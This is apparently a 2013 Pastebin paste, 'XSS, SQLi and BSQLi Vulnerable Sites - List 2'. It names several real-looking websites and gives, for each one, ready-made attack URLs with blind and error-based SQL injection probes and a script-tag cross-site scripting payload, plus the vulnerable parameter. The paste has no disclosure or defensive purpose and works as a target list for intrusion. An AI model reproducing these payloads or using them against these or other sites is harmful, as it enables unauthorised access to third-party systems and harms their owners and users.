API tools faq
paste
H4ck3r007

XSS, SQLi and BSQLi Vulnerable Sites - List 2 : By 007

H4ck3r007
Dec 25th, 2013
578
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.90 KB | None | 0 0
raw download clone embed print report
  1. http://www.csmodel.net/
  2.  
  3. BSQLI:5 | XSS:6
  4.  
  5. Type: bsqli
  6. Protocol: http
  7. Vulnerability URL: http://www.csmodel.net/model_work/?file=112.html&act=show.html+AND+1%3D1
  8. Parameter: act
  9.  
  10. Type: bsqli
  11. Protocol: http
  12. Vulnerability URL: http://www.csmodel.net/about_us/?file=T%C3%BB%11%C3%AC.html+AND+1%3D1--
  13. Parameter: file
  14.  
  15. Type: bsqli
  16. Protocol: http
  17. Vulnerability URL: http://www.csmodel.net/pic_small/?fp=1535+AND+1%3D1--&hi=210&wi=158&ty=1
  18. Parameter: fp
  19.  
  20. Type: bsqli
  21. Protocol: http
  22. Vulnerability URL: http://www.csmodel.net/model_personal/?act=model-reg.html%2BAND%2B1%253D1
  23. Parameter: act
  24.  
  25. Type: bsqli
  26. Protocol: http
  27. Vulnerability URL: http://www.csmodel.net/pic_small/?fp=1535&hi=210&wi=158&ty=1%2BAND%2B1%253D1%2523
  28. Parameter: ty
  29.  
  30. Type: xss
  31. Protocol: http
  32. Vulnerability URL: http://www.csmodel.net/model_work/?file=112.html&act=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  33. Parameter: act
  34.  
  35.  
  36. Type: xss
  37. Protocol: http
  38. Vulnerability URL: http://www.csmodel.net/model_work/?file=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>&act=show.html
  39. Parameter: file
  40.  
  41.  
  42. Type: xss
  43. Protocol: http
  44. Vulnerability URL: http://www.csmodel.net/about_us/?file=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  45. Parameter: file
  46.  
  47.  
  48. Type: xss
  49. Protocol: http
  50. Vulnerability URL: http://www.csmodel.net/share/?bclid_file=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  51. Parameter: bclid_file
  52.  
  53.  
  54. Type: xss
  55. Protocol: http
  56. Vulnerability URL: http://www.csmodel.net/star_model/?sclid_file=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  57. Parameter: sclid_file
  58.  
  59.  
  60. Type: xss
  61. Protocol: http
  62. Vulnerability URL: http://www.csmodel.net/model_personal/?act=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  63. Parameter: act
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
  74.  
  75. http://www.roxner.net/
  76.  
  77. BSQLI:1 | SQLI:3 | XSS:5
  78.  
  79. Type: bsqli
  80. Protocol: http
  81. Vulnerability URL: http://www.roxner.net/omshop/list.php?twoid=0&ohits=124671&id=32%2BAND%2B1%253D1&oneid=1
  82. Parameter: id
  83.  
  84.  
  85. Type: sqli
  86. Protocol: http
  87. Vulnerability URL: http://www.roxner.net/lcforum/list.php?id=%27%29
  88. Parameter: id
  89.  
  90. Type: sqli
  91. Protocol: http
  92. Vulnerability URL: http://www.roxner.net/help/list.php?ohits=901603&id=%27%29
  93. Parameter: id
  94.  
  95. Type: sqli
  96. Protocol: http
  97. Vulnerability URL: http://www.roxner.net/omshop/list.php?twoid=0&ohits=%27%29&id=32&oneid=1
  98. Parameter: ohits
  99.  
  100.  
  101.  
  102. Type: xss
  103. Protocol: http
  104. Vulnerability URL: http://www.roxner.net/lcforum/list.php?id=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  105. Parameter: id
  106.  
  107.  
  108. Type: xss
  109. Protocol: http
  110. Vulnerability URL: http://www.roxner.net/help/list.php?ohits=901603&id=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  111. Parameter: id
  112.  
  113.  
  114. Type: xss
  115. Protocol: http
  116. Vulnerability URL: http://www.roxner.net/help/list.php?ohits=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>&id=1
  117. Parameter: ohits
  118.  
  119.  
  120. Type: xss
  121. Protocol: http
  122. Vulnerability URL: http://www.roxner.net/omshop/list.php?twoid=0&ohits=124671&id=32&oneid=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  123. Parameter: oneid
  124.  
  125.  
  126. Type: xss
  127. Protocol: http
  128. Vulnerability URL: http://www.roxner.net/omshop/list.php?twoid=0&ohits=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>&id=32&oneid=1
  129. Parameter: ohits
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139. http://www.yftan.net/
  140.  
  141. BSQLI:1 | XSS:3
  142.  
  143. Type: bsqli
  144. Protocol: http
  145. Vulnerability URL: http://www.yftan.net/products.asp?pageno=2&cid=0+AND+1%3D1
  146. Parameter: cid
  147.  
  148.  
  149. Type: xss
  150. Protocol: http
  151. Vulnerability URL: http://www.yftan.net/products.asp?CID=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  152. Parameter: CID
  153.  
  154.  
  155. Type: xss
  156. Protocol: http
  157. Vulnerability URL: http://www.yftan.net/products.asp?ParentID=121&CID=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  158. Parameter: CID
  159.  
  160.  
  161. Type: xss
  162. Protocol: http
  163. Vulnerability URL: http://www.yftan.net/products.asp?pageno=2&cid=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  164. Parameter: cid
  165.  
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177. http://yiyang.ershou.net/
  178.  
  179. BSQLI:1 | XSS:1
  180.  
  181. Type: xss
  182. Protocol: http
  183. Vulnerability URL: http://yiyang.ershou.net/infodel.aspx?nid=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  184. Parameter: nid
  185.  
  186.  
  187. Type: bsqli
  188. Protocol: http
  189. Vulnerability URL: http://yiyang.ershou.net/xxwx.aspx?id=8806+AND+1%3D1
  190. Parameter: id
  191.  
  192.  
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204. http://xiangtan.ershou.net/
  205.  
  206. BSQLI:2 | XSS:1
  207.  
  208. Type: xss
  209. Protocol: http
  210. Vulnerability URL: http://xiangtan.ershou.net/showwxwh.aspx?sc=62&bc=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  211. Parameter: bc
  212.  
  213.  
  214. Type: bsqli
  215. Protocol: http
  216. Vulnerability URL: http://xiangtan.ershou.net/showwxwh.aspx?sc=62&bc=7+AND+1%3D1
  217. Parameter: bc
  218.  
  219.  
  220. Type: bsqli
  221. Protocol: http
  222. Vulnerability URL: http://xiangtan.ershou.net/showwxwh.aspx?sc=62+AND+1%3D1&bc=7
  223. Parameter: sc
  224.  
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232. http://nukispo.net/
  233.  
  234. BSQLI:28 | XSS:2
  235.  
  236. Type: bsqli
  237. Protocol: http
  238. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_bikyaku_flag=1+AND+1%3D1
  239. Parameter: s_k_bikyaku_flag
  240.  
  241.  
  242. Type: bsqli
  243. Protocol: http
  244. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_hitoduma_flag=1+AND+1%3D1
  245. Parameter: s_k_hitoduma_flag
  246.  
  247.  
  248.  
  249. Type: bsqli
  250. Protocol: http
  251. Vulnerability URL: http://nukispo.net/shop-search.php?s_category_id=17+AND+1%3D1
  252. Parameter: s_category_id
  253.  
  254.  
  255. Type: bsqli
  256. Protocol: http
  257. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_shiroto_flag=1+AND+1%3D1
  258. Parameter: s_k_shiroto_flag
  259.  
  260. Type: bsqli
  261. Protocol: http
  262. Vulnerability URL: http://nukispo.net/shop-search.php?s_location_id=115+AND+1%3D1
  263. Parameter: s_location_id
  264.  
  265.  
  266. Type: bsqli
  267. Protocol: http
  268. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_kawaii_flag=1+AND+1%3D1
  269. Parameter: s_k_kawaii_flag
  270.  
  271.  
  272. Type: bsqli
  273. Protocol: http
  274. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_loli_flag=1+AND+1%3D1
  275. Parameter: s_k_loli_flag
  276.  
  277.  
  278. Type: bsqli
  279. Protocol: http
  280. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_kogara_flag=1+AND+1%3D1
  281. Parameter: s_k_kogara_flag
  282.  
  283.  
  284. Type: bsqli
  285. Protocol: http
  286. Vulnerability URL: http://nukispo.net/shop-search.php?s_location_id=72+AND+1%3D1&s_category_id=20
  287. Parameter: s_location_id
  288.  
  289.  
  290. Type: bsqli
  291. Protocol: http
  292. Vulnerability URL: http://nukispo.net/shop-search.php?s_location_id=72&s_category_id=20+AND+1%3D1
  293. Parameter: s_category_id
  294.  
  295.  
  296. Type: bsqli
  297. Protocol: http
  298. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_slender_flag=1+AND+1%3D1
  299. Parameter: s_k_slender_flag
  300.  
  301.  
  302. Type: bsqli
  303. Protocol: http
  304. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_celeb_flag=1+AND+1%3D1
  305. Parameter: s_k_celeb_flag
  306.  
  307.  
  308. Type: bsqli
  309. Protocol: http
  310. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_bijiri_flag=1+AND+1%3D1
  311. Parameter: s_k_bijiri_flag
  312.  
  313.  
  314. Type: bsqli
  315. Protocol: http
  316. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_ol_flag=1+AND+1%3D1
  317. Parameter: s_k_ol_flag
  318.  
  319.  
  320. Type: bsqli
  321. Protocol: http
  322. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_gyaru_flag=1+AND+1%3D1
  323. Parameter: s_k_gyaru_flag
  324.  
  325.  
  326. Type: bsqli
  327. Protocol: http
  328. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_gakusei_flag=1+AND+1%3D1
  329. Parameter: s_k_gakusei_flag
  330.  
  331.  
  332. Type: bsqli
  333. Protocol: http
  334. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_seiso_flag=1+AND+1%3D1
  335. Parameter: s_k_seiso_flag
  336.  
  337.  
  338. Type: bsqli
  339. Protocol: http
  340. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_jukujo_flag=1+AND+1%3D1
  341. Parameter: s_k_jukujo_flag
  342.  
  343.  
  344. Type: bsqli
  345. Protocol: http
  346. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_cosplay_flag=1+AND+1%3D1
  347. Parameter: s_k_cosplay_flag
  348.  
  349.  
  350. Type: bsqli
  351. Protocol: http
  352. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_kyonyu_flag=1+AND+1%3D1
  353. Parameter: s_k_kyonyu_flag
  354.  
  355.  
  356. Type: bsqli
  357. Protocol: http
  358. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_pochari_flag=1+AND+1%3D1
  359. Parameter: s_k_pochari_flag
  360.  
  361.  
  362. Type: bsqli
  363. Protocol: http
  364. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_onesama_flag=1+AND+1%3D1
  365. Parameter: s_k_onesama_flag
  366.  
  367.  
  368. Type: bsqli
  369. Protocol: http
  370. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_kirei_flag=1+AND+1%3D1
  371. Parameter: s_k_kirei_flag
  372.  
  373.  
  374. Type: bsqli
  375. Protocol: http
  376. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_model_flag=1+AND+1%3D1
  377. Parameter: s_k_model_flag
  378.  
  379.  
  380. Type: bsqli
  381. Protocol: http
  382. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_choshin_flag=1+AND+1%3D1
  383. Parameter: s_k_choshin_flag
  384.  
  385.  
  386. Type: bsqli
  387. Protocol: http
  388. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_binyu_flag=1+AND+1%3D1
  389. Parameter: s_k_binyu_flag
  390.  
  391.  
  392. Type: bsqli
  393. Protocol: http
  394. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_chijo_flag=1+AND+1%3D1
  395. Parameter: s_k_chijo_flag
  396.  
  397.  
  398. Type: bsqli
  399. Protocol: http
  400. Vulnerability URL: http://nukispo.net/shop-search.php?s_k_hinyu_flag=1+AND+1%3D1
  401. Parameter: s_k_hinyu_flag
  402.  
  403.  
  404. Type: xss
  405. Protocol: http
  406. Vulnerability URL: http://nukispo.net/shop-info.php?shop_id=156&page_type=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  407. Parameter: page_type
  408.  
  409. Type: xss
  410. Protocol: http
  411. Vulnerability URL: http://nukispo.net/info.php?page_type=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,98,121,32,74,97,121,32,74,97,110,105))</SCRIPT>
  412. Parameter: page_type
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!